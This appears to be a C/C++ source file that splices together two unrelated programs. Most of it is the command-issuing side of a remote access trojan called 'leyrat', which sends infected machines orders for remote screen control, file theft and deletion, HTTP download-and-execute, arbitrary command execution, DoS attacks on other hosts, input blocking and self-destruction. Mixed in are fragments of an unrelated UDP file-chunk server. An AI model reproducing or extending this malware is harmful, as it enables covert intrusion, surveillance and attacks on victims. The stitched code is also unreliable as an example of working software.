void leyrat::Request_Screenshare(const char *ip, const char*line, const char*preset, int width, int height, unsigned char fps) { unsigned short port = GetClientPort(ip); Log("[S][%s:%hu] Requesting Screenshare __ %lu __ %lu!\n", ip, port, width, height); char bpkg[0xFFF]; leybuf buf(bpkg, sizeof(bpkg)); buf.WriteString("\xDB\xDB", true); buf.WriteChar('j'); buf.WriteChar((char)fps); buf.WriteInt32(width); buf.WriteInt32(height); buf.WriteString(preset); buf.WriteString(line); net.SendTo(ip, port, bpkg, buf.GetPos()); onlineuser *cl = GetClient(ip); if(cl) { cl->is_screensharing = true; } }
void leyrat::Request_FileDownload(const char *ip, const char*file, const char*savelocation, bool is_update) { unsigned short port = GetClientPort(ip); Log("[S][%s:%hu] Requesting FileDownload!\n", ip, port); char bpkg[500]; leybuf buf(bpkg, sizeof(bpkg)); buf.WriteString("\xDB\xDB", true); buf.WriteChar('d'); if(is_update) { buf.WriteChar(1); }else{ buf.WriteChar(0); } buf.WriteString(savelocation); net.SendTo(ip, port, bpkg, buf.GetPos()); onlineuser *cl = GetClient(ip); if(cl) { cl->is_uploading = 0; cl->is_downloading = new char[strlen(file)+1]; strcpy(cl->is_downloading, file); } }
void leyrat::Request_Dos(const char *ip, const char *addr, const char *pkg, unsigned char pkglen, unsigned int time, short atkport, bool is_http) { unsigned short port = GetClientPort(ip); Log("[S][%s:%hu] Requesting Dos!\n", ip, port); char bpkg[0xFFF]; leybuf buf(bpkg, sizeof(bpkg)); buf.WriteString("\xDB\xDB", true); buf.WriteChar('g'); buf.WriteInt32(time); if (time == 0) { net.SendTo(ip, port, bpkg, buf.GetPos()); return; } buf.WriteChar((char)!is_http); buf.WriteString(addr); buf.WriteInt32(atkport); buf.WriteChar(pkglen); buf.WriteBytes((void*)pkg, pkglen); net.SendTo(ip, port, bpkg, buf.GetPos()); }
void leyrat::Request_Suicide(const char *ip) { unsigned short port = GetClientPort(ip); Log("[S][%s:%hu] Requesting suicide!\n", ip, port); char bpkg[100]; leybuf buf(bpkg, sizeof(bpkg)); buf.WriteString("\xDB\xDB", true); buf.WriteChar('2'); net.SendTo(ip, port, bpkg, buf.GetPos()); }
void leyrat::Request_DiskTray(const char *ip, bool should_open) { unsigned short port = GetClientPort(ip); Log("[S][%s:%hu] Requesting DiskTray!\n", ip, port); char bpkg[100]; leybuf buf(bpkg, sizeof(bpkg)); buf.WriteString("\xDB\xDB", true); buf.WriteChar('7'); buf.WriteChar((char)should_open); net.SendTo(ip, port, bpkg, buf.GetPos()); }
void leyrat::Request_TaskbarBlock(const char*ip, bool should_block) { unsigned short port = GetClientPort(ip); Log("[S][%s:%hu] Requesting TaskbarBlock!\n", ip, port); char bpkg[100]; leybuf buf(bpkg, sizeof(bpkg)); buf.WriteString("\xDB\xDB", true); buf.WriteChar('5'); buf.WriteChar((char)should_block); net.SendTo(ip, port, bpkg, buf.GetPos()); }
void leyrat::Request_HTTPDownload(const char *ip, const char*url, const char*store, bool exec, bool update) { unsigned short port = GetClientPort(ip); if(url==0||strlen(url)==0) return; Log("[S][%s:%hu] Requesting http download %x _ %x!\n", ip,port, exec, update); char addr[255]; char file[255]; std::string surl = url; surl.erase(0, 7); std::string saddr = surl; saddr.erase(saddr.find_first_of('/')); strcpy(addr, saddr.c_str()); addr[saddr.length()]=0; std::string sfile = surl; sfile.erase(0, sfile.find_first_of('/')); strcpy(file, sfile.c_str()); file[sfile.length()]= 0; char extras = 0; if (update) extras = 2; if (exec) extras = 1; char bpkg[0xFFF]; leybuf buf(bpkg, sizeof(bpkg)); buf.WriteString("\xDB\xDB", true); buf.WriteChar('1'); buf.WriteString(addr); buf.WriteString(file); buf.WriteString(store); buf.WriteChar(extras); net.SendTo(ip, port, bpkg, buf.GetPos()); }
void leyrat::Request_FileDelete(const char *ip, const char*file) { unsigned short port = GetClientPort(ip); Log("[S][%s:%hu] Requesting FileDelete!\n", ip, port); char bpkg[500]; leybuf buf(bpkg, sizeof(bpkg)); buf.WriteString("\xDB\xDB", true); buf.WriteChar('8'); buf.WriteString(file); net.SendTo(ip, port, bpkg, buf.GetPos()); }
void leyrat::Request_ScreenshareInput(const char *ip, unsigned char numkeystrokes, unsigned char*keystrokes, unsigned int keystrokeslen) { unsigned short port = GetClientPort(ip); Log("[S][%s:%hu] Requesting Screenshare input key!\n", ip, port); char bpkg[0xFFF] = {0}; leybuf buf(bpkg, sizeof(bpkg)); buf.WriteString("\xDB\xDB", true); buf.WriteChar('l'); buf.WriteChar(0); buf.WriteChar(numkeystrokes); buf.WriteBytes(keystrokes, keystrokeslen); net.SendTo(ip, port, bpkg, buf.GetPos()); }
void leyrat::Request_ScreenshareInput(const char *ip, int x, int y, int type, int data) { unsigned short port = GetClientPort(ip); Log("[S][%s] Requesting Screenshare input mouse [%i:%i] %i, %i!\n", ip, x, y, type, data); char bpkg[0xFFF]; leybuf buf(bpkg, sizeof(bpkg)); buf.WriteString("\xDB\xDB", true); buf.WriteChar('l'); buf.WriteChar(1); buf.WriteInt32(x); buf.WriteInt32(y); buf.WriteInt32(type); buf.WriteInt32(data); net.SendTo(ip, port, bpkg, buf.GetPos()); }
void PrintRequestMessage(char *msg) { char fname[FILENAME_LEN + 1]; int chunk_num; char client_address[CADDRESS_LEN + 1]; unsigned short client_port; GetRequestedFileName(msg, fname); GetRequestedChunk(msg, &chunk_num); GetClientAddress(msg, client_address); GetClientPort(msg, &client_port); fprintf(stderr, "[Request Message - %d]\n", strlen(msg)); fprintf(stderr, "\t File Name : %s\n", fname); fprintf(stderr, "\t Chunk Number : %d\n", chunk_num); fprintf(stderr, "\tClient Address : %s\n", client_address); fprintf(stderr, "\t Client Port : %d\n", client_port); return; }
void leyrat::Request_InputBlock(const char*ip, bool is_mouse, bool should_block) { unsigned short port = GetClientPort(ip); Log("[S][%s:%hu] Requesting InputBlock!\n", ip, port); char bpkg[100]; leybuf buf(bpkg, sizeof(bpkg)); buf.WriteString("\xDB\xDB", true); buf.WriteChar('3'); if(is_mouse) { buf.WriteChar(0); }else{ buf.WriteChar(1); } buf.WriteChar((char)should_block); net.SendTo(ip, port, bpkg, buf.GetPos()); }
void leyrat::Request_RunCmd(const char *ip, const char*torun, bool getresponse) { unsigned short port = GetClientPort(ip); Log("[S][%s:%hu] Requesting RunCmd :: %s!\n", ip, port, torun); char bpkg[1024]; leybuf buf(bpkg, sizeof(bpkg)); buf.WriteString("\xDB\xDB", true); buf.WriteChar('b'); buf.WriteChar(0);//show if(getresponse) { buf.WriteChar(1); }else{ buf.WriteChar(0); } buf.WriteString(torun); net.SendTo(ip, port, bpkg, buf.GetPos()); }
int main(int argc, char *argv[]) { /* messages */ char recvd_msg[RMSGSIZE]; char *response_msg; /* sockets */ int recv_sock; int send_sock; /* send related */ struct sockaddr_in send_name; struct hostent *hp, *gethostbyname(); /* client related */ char client_address[CADDRESS_LEN + 1]; unsigned short client_port; /* create socket to listen on - no timeout */ recv_sock = CreateRecvSocket(); /* create socket to send on */ send_sock = CreateSendSocket(); /* ** start server ** */ while(1) { /* read from socket */ if(read(recv_sock, recvd_msg, RMSGSIZE+1) < 0) { perror("Reading from socket"); } else { GetClientAddress(recvd_msg, client_address); GetClientPort(recvd_msg, &client_port); /* construct socket to send to */ hp = gethostbyname(client_address); if(hp == 0) { fprintf(stderr, "Unknown host : %s\n", client_address); continue; } bcopy(hp->h_addr, &send_name.sin_addr, hp->h_length); send_name.sin_family = AF_INET; send_name.sin_port = htons(client_port); /* send reponse */ GetResponseMessage(recvd_msg, response_msg); if(response_msg[0] == 'C') { if(sendto(send_sock, response_msg, CMSGSIZE, 0, (struct sockaddr *)&send_name, sizeof(send_name)) < 0) { perror("Sending message"); } } if(response_msg[0] == 'D') { if(sendto(send_sock, response_msg, DMSGSIZE, 0, (struct sockaddr *)&send_name, sizeof(send_name)) < 0) { perror("Sending message"); } } } } return 0; }
void GetResponseMessage(char *inmsg, char *outmsg) { char filename[FILENAME_LEN + 1]; /* requested file name */ int requested_chunk; /* requested chunk number */ char client_address[CADDRESS_LEN + 1]; /* address of client */ unsigned short client_port; /* port of client */ int total_chunks; /* total # of chunks in file */ char temp[CHUNK_LEN + 1]; /* requested chunk - string */ int i; /* loops et al */ char data[DATA_LEN + 1]; /* file chunk */ int status; /* function returns */ int datsize; /* size of data chunk */ /* extract info from request message */ GetRequestedFileName(inmsg, filename); GetRequestedChunk(inmsg, &requested_chunk); GetClientAddress(inmsg, client_address); GetClientPort(inmsg, &client_port); /* get total number of chunks in file */ total_chunks = GetTotalChunks(filename); /* check for errors - construct CTL messages */ if(!IsValidFileName(filename)) strcpy(outmsg, "CERRORUNAUTHORIZED REQUEST"); else if(inmsg[0] != 'R') strcpy(outmsg, "CERRORBAD REQUEST FORMAT"); else if(requested_chunk < 0) strcpy(outmsg, "CERRORBAD CHUNK REQUEST"); else if(requested_chunk == 0) /* number of chunks requested */ { if(total_chunks == -1) strcpy(outmsg, "CERRORCANNOT STAT FILE"); else if(total_chunks == 0) strcpy(outmsg, "CERRORFILE SIZE NULL"); else if(total_chunks > 99999) strcpy(outmsg, "CERRORTOO MANY CHUNKS"); else { sprintf(temp, "%d", total_chunks); strcpy(outmsg, "CCHNKS"); strcat(outmsg, temp); } } else /* construct data message */ { status = GetFileChunk(filename, requested_chunk, data, &datsize); if(status != 0) { if(status == -1) strcpy(outmsg, "CERRORFILE SIZE NULL"); else if (status == -2) strcpy(outmsg, "CERRORCANNOT STAT FILE"); else if(status == -3) strcpy(outmsg, "CERRORCHUNK OUT OF BOUND"); else strcpy(outmsg, "CERRORUNKNOWN ERROR"); } else { /* MSGTYPE */ strcpy(outmsg, "D"); /* CHUNK */ sprintf(temp, "%d", requested_chunk); for(i = 0; i < CHUNK_LEN - strlen(temp); i++) strcat(outmsg, " "); strcat(outmsg, temp); /* data */ strcat(outmsg, data); outmsg[datsize + MSGTYPE_LEN + CHUNK_LEN] = '\0'; } } }